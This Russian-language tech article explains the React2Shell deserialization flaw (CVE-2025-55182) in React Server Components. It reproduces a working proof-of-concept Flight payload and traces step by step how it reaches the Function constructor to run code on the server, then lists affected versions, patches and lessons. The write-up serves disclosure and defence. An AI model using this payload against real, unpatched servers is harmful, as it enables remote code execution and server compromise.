javascript

Уязвимость React2Shell: что произошло и какие уроки можно извлечь

  • пятница, 2 января 2026 г. в 00:00:06
https://habr.com/ru/articles/982238/

3 декабря 2025 года критическая уязвимость в серверных компонентах React (React Server Components, RSC) потрясла сообщество веб-разработчиков. Была обнаружена уязвимость React2Shell/React4Shell (CVE-2025-55182) с оценкой CVSS 10.0, что является максимальным баллом для уязвимостей. Ошибка позволяет удаленно выполнять код (Remote Code Execution, RCE) на любом сервере, работающем с RSC. В течение нескольких часов после обнаружения уязвимости китайские государственные группы и криптомайнинговые компании начали взламывать уязвимые серверы.

В этой статье подробно разбирается, что и почему произошло, а также как незначительное, на первый взгляд, проектное решение в протоколе React Flight превратилось в одну из самых серьезных уязвимостей React в 2025 году.

Мы также обсудим, как защитить себя и как эта уязвимость подчеркивает важнейшие принципы безопасности.

Что представляет собой эксплойт React2Shell

По сути, React2Shell - это ошибка десериализации в процессе, когда RSC восстанавливают серверные данные из полезной нагрузки (payload) Flight. Из-за некорректной десериализации RSC из данных полезной нагрузки любой может выполнить вредоносный код на сервере, что приводит к уязвимости безопасности 10-го уровня.

Доказательство концепции

Уязвимость была продемонстрирована Лахланом Дэвидсоном, который представил следующее доказательство концепции (Proof of Concept, POC):

const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}

Разберем это POC. Но сначала кратко рассмотрим RSC и React Flight.

React Server Components и React Flight

Традиционно у веб-приложений было два варианта:

  1. Рендеринг на стороне сервера (Server Side Rendering, SSR): рендеринг HTML на сервере, отправка клиенту целых страниц.

  2. Рендеринг на стороне клиента (Client Side Rendering, CSR): отправка клиенту пакетов JavaScript, рендеринг всего в браузере.

RSC представил третий вариант:

  • рендеринг компонентов на сервере (с доступом к базам данных, файловым системам, секретным ключам)

  • преобразование дерева компонентов в компактный формат с помощью протокола React Flight

  • передача данных клиенту в потоковом (stream) режиме небольшими частями (chunks) JavaScript

  • "гидратация" (hydration) дерева компонентов клиентом, что делает его интерактивным

Это замечательно, поскольку сочетает в себе преимущества как клиентского, так и серверного рендеринга:

  • сложные вычисления (разбор (парсинг) Markdown, обработка данных) могут выполняться на сервере

  • уменьшается размер клиентской сборки, поскольку требуется меньше JavaScript-кода

  • данные могут передаваться клиенту постепенно по мере готовности, что улучшает воспринимаемую пользователем производительность

Все это обеспечивается новым протоколом, разработанным для RSC, под названием React Flight.

React Flight

React Flight — это протокол передачи данных, лежащий в основе серверных компонентов. Он сериализует компоненты React в компактный, потоковый формат.

RSC требуется передавать данные с сервера на клиент и обратно, а также отправлять промисы (promises), а текущая реализация JSON не позволяет этого делать. Поэтому команде React пришлось разработать новый протокол под названием React Flight для RSC.

С помощью этого протокола React может передавать данные между сервером и клиентом по частям (chunks). Данные выглядят как массив значений, представленных в виде строк:

1:HL["/_next/static/css/4470f08e3eb345de.css",{"as":"style"}]
0:"$L2"
3:HL["/_next/static/css/b206048fcfbdc57f.css",{"as":"style"}]
4:I{"id":2353,"chunks":["2272:static/chunks/webpack-38ffa19a52cf40c2.js","9253:static/chunks/bce60fc1-ce957b73f2bc7fa3.js","7698:static/chunks/7698-762150c950ff271f.js"],"name":"default","async":false}
...

Что это такое

  • Это компактное строковое представление виртуального DOM, содержащее сокращения, внутренние ссылки и символы с закодированным специальным значением.

  • Строки разделены \n, поэтому это строковый формат, а не JSON.

  • Фактически, исходный код разбивается на чанки и помещается в массив внутри тегов <script>.

  • Каждая строка имеет формат ID:TYPE?JSON.

Как это работает

  • Мы можем предварительно сгенерировать контент на сервере, вызвав метод renderToPipeableStream для сериализации компонента.

  • Результат разбивается на чанки.

  • Чанки ссылаются друг на друга с помощью компактных строковых токенов.

  • Промисы могут передаваться потоком и выполняться постепенно.

  • Десериализация контента на стороне клиента осуществляется с помощью функции createFromFetch, которая возвращает корректный JSX-код.

Пример

Допустим, у нас есть простой компонент для создания постов в блоге:

// BlogPost.server.js (серверный компонент)
async function BlogPost({ id }) {
  // Это выполняется только на сервере
  const post = await db.query('SELECT * FROM posts WHERE id = ?', [id]);

  return (
    <article>
      <h1>{post.title}</h1>
      <p>By {post.author}</p>
      <div>{post.content}</div>
    </article>
  );
}

export default BlogPost;

Он преобразуется в такой протокол React Flight:

M1:{"id":"./src/BlogPost.server.js","chunks":[],"name":""}
J0:["$","article",null,{"children":[["$","h1",null,{"children":"Getting Started with RSC"}],["$","p",null,{"children":"By Alice"}],["$","div",null,{"children":"React Server Components are a new way to build React apps..."}]]}],

Разберем подробно.

Строка 1: M1:...

  • M = ссылка на модуль

  • 1 = идентификатор этого модуля

  • JSON, содержащий метаданные о модуле серверного компонента

Строка 2: J0:...

  • J = чанк JSON

  • 0 = идентификатор корневого компонента

  • массив описывает дерево элементов React:

    • "$"= специальный маркер для элементов React

    • "article" = тип элемента

    • null = ключ (key)

    • объект, содержащий пропы (props) компонента, включая массив children

Мощь React Flight заключается в поддержке такого функционала, как:

  • потоковая передача серверных компонентов

  • сериализация промисов

  • обращение к значениям, доступным только на сервере (функциям, BLOB-объектам)

Именно это и сделало возможным рассматриваемый эксплойт.

Эксплойт React2Shell

Данная уязвимость использует эти механизмы для следующих целей:

  • внедрение ложного промиса

  • перехват внутренней логики React по обработке then

  • извлечение конструктора Function

  • выполнение вредоносного JavaScript-кода на сервере, что приводит к RCE

Полный процесс выполнения

Вспомним предложенное POC:

const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}

Разберем его по шагам.

Шаг 1: React обрабатывает чанк 0 (точку входа)

"0": "$1"  // React начинает здесь, видит ссылку на чанк 1

Шаг 2: React обрабатывает чанк 1 (ложный промис)

"1": {
  "status": "resolved_model",
  "reason": 0,
  "_response": "$4",
  "value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}",
  "then": "$2:then"
}

Объекту аккуратно придается вид разрешенного промиса.

В JavaScript любой объект со свойством then рассматривается как thenable и обрабатывается как промис.

React видит это и думает: "Это промис, мне следует вызвать его метод then".

Вот тут-то и начинается эксплойт.

Шаг 3: React разрешает первый then

"then": "$2:then"  // "Взять чанк 2, затем обратиться к его свойству 'then'"

Шаг 4: поиск чанка 2

Следующий фрагмент на самом деле довольно сложный:

"2": "$@3",
"3": []

React решает эту задачу следующим образом:

  1. Находит чанк 2 → "$@3"

  2. $@3 - это ссылка на себя (self-reference), которая возвращает свой собственный объект-обертку, то есть объект из третьего чанка. Это ключевой момент.

Объект-обертка выглядит так:

{
  "value": [],
  "then": "function(resolve, reject) { ... }",
  "_response": { ... }
}

Обратите внимание, что этот объект имеет метод then, который вызывается при вызове $2:then.

Шаг 5: обращение к свойству then обертки

Функция then чанка 1 присваивается then обертки чанка 3:

"then": "$2:then" // chunk3_wrapper.then

Это внутренний код React:

function chunkThen(resolve, reject) {
    // 'this' теперь является чанком 1 (вредоносный объект)

    if (this.status === 'resolved_model') {
        // Обработка значения
        var value = JSON.parse(this.value);  // Разбор строки JSON

        // Разрешение ссылок, содержащихся в значении, с помощью this._response
        var resolved = reviveModel(this._response, value);

        resolve(resolved);
    }
}

Проверка status === 'resolved_model' обходится за счет установки атакующим такого объекта в чанке 1:

"1": {
  "status": "resolved_model",
  "reason": 0,
  "_response": "$4",
  "value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}",
  "then": "$2:then"
}

Шаг 6: выполнение блока then

Выполняется следующий код:

var value = JSON.parse(this.value); // {"then":"$3:map","0":{"then":"$B3"},"length":1}

Ключевые детали:

  • this.status - контролируется атакующим

  • this.value - JSON, контролируемый атакующим

  • this._response - ссылается на чанк 4

Шаг 7: обработка ответа

Следующая строка кода вызывается с чанком 4 и разобранным JSON из шага 6:

var resolved = reviveModel(this._response, value);
"4": {
  "_prefix": "console.log(7*7+1)//",
  "_formData": {
    "get": "$3:constructor:constructor"
  },
  "_chunks": "$2:_response:_chunks"
}
{
  "then": "$3:map",
  "0": {
    "then": "$B3"
  },
  "length": 1
}

Это выглядит как рекурсивный блок then, и React начинает разрешать ссылки внутри value. Одной из них является $B3.

Шаг 8: разбор двоичных данных

Префикс B означает двоичный объект (blob), который является специальным ссылочным типом, используемым для сериализации несериализуемых значений, таких как:

  • функции

  • символы

  • файловые объекты

  • другие сложные объекты, которые невозможно преобразовать в строку JSON

React разрешает блобы следующим образом:

return response._formData.get(response._prefix + blobId)

Атакующий подменил эти значения собственными:

  • _formData.get'$3:constructor:constructor'[].constructor.constructorFunction

  • _prefix'console.log(7*7+1)//'

React выполняет:

Function('console.log(7*7+1)//3')

Бум!

Переопределяя свойства объекта, злоумышленник выполняет вредоносный код.

Хитрый прием, позволяющий избежать ошибок, — это комментарий, следующий за console.log в следующей строке:

console.log(7*7+1)//

Без этого код return response._formData.get(response._prefix + blobId) выполнится как Function(console.log(7*7+1)3), что приведет к синтаксической ошибке (Uncaught SyntaxError: missing ) after argument list).

Комментарий позволяет избежать ошибок:

'_prefix': 'console.log(7*7+1)//'

Function(console.log(7*7+1)//3) // 3 теперь является комментарием и игнорируется 🤯

Очень умный эксплойт.

Резюме

Атакующий:

  • внедряет конструктор Function через блоб

  • ссылается на него с помощью $B3 в цепочке промиса

  • обманывает десериализатор, заставляя его вызвать Function с вредоносным кодом

Кого это затрагивает

Это затрагивает всех, кто используется RSC. Это касается и популярных фреймворков:

  • Next.js (App Router с RSC)

  • Redwood

  • Waku

  • любая пользовательская настройка с react-server-dom-webpack или аналогичными пакетами

Уязвимость присутствует в нескольких версиях следующих библиотек:

Еще две уязвимости

Помимо React2Shell, были обнаружены еще две уязвимости:

  1. Отказ в обслуживании (Denial of Service, DoS): рекурсивные вызовы then могут обрушить сервер (по данным Stack Overflow)

  2. Раскрытие секретной информации: эксплойт внутренних структур React может привести к утечке секретов, хранящихся на сервере

Устранение уязвимости

Команда React выпустила экстренные патчи для решения этой проблемы. Основное исправление добавляет строгие проверки принадлежности свойств с помощью hasOwnProperty(), чтобы предотвратить обход цепочки прототипов, и проверяет внутренние ссылки, чтобы предотвратить их перехват.

Если вы используете версии 19.0.0, 19.0.1, 19.0.2, 19.1.0, 19.1.1, 19.1.2, 19.2.0, 19.2.1 и 19.2.2:

  • react-server-dom-webpack

  • react-server-dom-parcel

  • react-server-dom-turbopack

Необходимо немедленно обновиться до:

  • react@19.0.3 , 19.1.4 или 19.2.3.

  • патчи, специфичные для конкретной платформы

    • Next.js

      • 15.0.5

      • 15.1.9

      • 15.2.6

      • 15.3.6

      • 15.4.8

      • 15.5.7

      • 16.0.7

Проверьте свои зависимости с помощью команды npm list react react-dom.

Обратите внимание, что даже приложения, которые явно не используют серверные функции (server functions), могут быть уязвимы, если они поддерживают RSC.

Извлеченные уроки

React2Shell подтверждает важность соблюдения важнейших принципов безопасности:

  1. Никогда не доверяйте пользовательскому вводу: даже, казалось бы, безобидный JSON может стать оружием.

  2. Валидация десериализованных данных: проверка структуры объектов и принадлежности свойств.

  3. Принцип наименьших привилегий: не раскрывайте внутренние цепочки прототипов.

  4. Многоуровневая защита: многоуровневая валидация предотвращает возникновение единых точек отказа (Single Points of Failure).

Вместо заключения

Обновите зависимости React. Прямо сейчас.

Благодарим Лахлана Дэвидсона за ответственное раскрытие информации и подробное доказательство концепции.